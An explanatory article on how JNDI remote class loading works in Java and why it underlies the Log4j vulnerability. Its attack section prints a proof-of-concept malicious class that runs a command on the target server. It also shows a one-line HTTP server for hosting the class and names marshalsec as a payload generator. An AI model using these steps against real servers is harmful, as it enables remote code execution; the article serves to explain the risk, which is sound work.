Why JNDI Is the Hidden Threat Behind Log4j and Other Java Vulnerabilities

Database Driver

Many developers first encounter JNDI through database drivers, but with modern Spring Boot monolithic deployments this practice is becoming rare.

For example, a Tomcat server.xml can define a resource named jdbc/xjjdogDB:

<Resource name="jdbc/xjjdogDB" auth="Container" type="javax.sql.DataSource"
    maxTotal="100" maxIdle="30" maxWaitMillis="10000"
    username="xjjdog" password="123456" driverClassName="com.mysql.jdbc.Driver"
    url="jdbc:mysql://localhost:3306/xjjdog_db"/>

Spring Boot can then reference this JNDI name in its configuration, provided the application is packaged as a WAR and deployed to an enterprise server such as JBoss:

spring:
  datasource:
    jndi-name: jdbc/xjjdogDB

JNDI acts as a configuration center or naming service, allowing a short string to retrieve complex configuration objects, effectively a key‑value map.

Danger Comes From Here

The retrieved value is often an Object, and converting a string to an arbitrary class requires reflection, which opens a security hole.

JNDI’s SPI mechanism can interact with LDAP, RMI and other protocols, enabling remote code loading.

When NamingManager calls getObjectFactoryFromReference and cannot find a local class, it will fetch and instantiate a class from a remote location.

An attacker can run a simple HTTP server to serve a malicious .class file, which JNDI will load: python -m http.server 8000 Tools such as marshalsec can generate the required payloads.

Example malicious class that executes a command on the target machine:

public class a {
    static {
        try {
            String[] cmd = {"calc.exe"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Deploying this class allows the server to launch the calculator (or any other command), illustrating the severe risk.

END

Java reflection and the SPI feature are powerful but dangerous; they expose critical vulnerabilities when misused, as seen in the Log4j exploit. The article questions why such capabilities are embedded in a logging framework.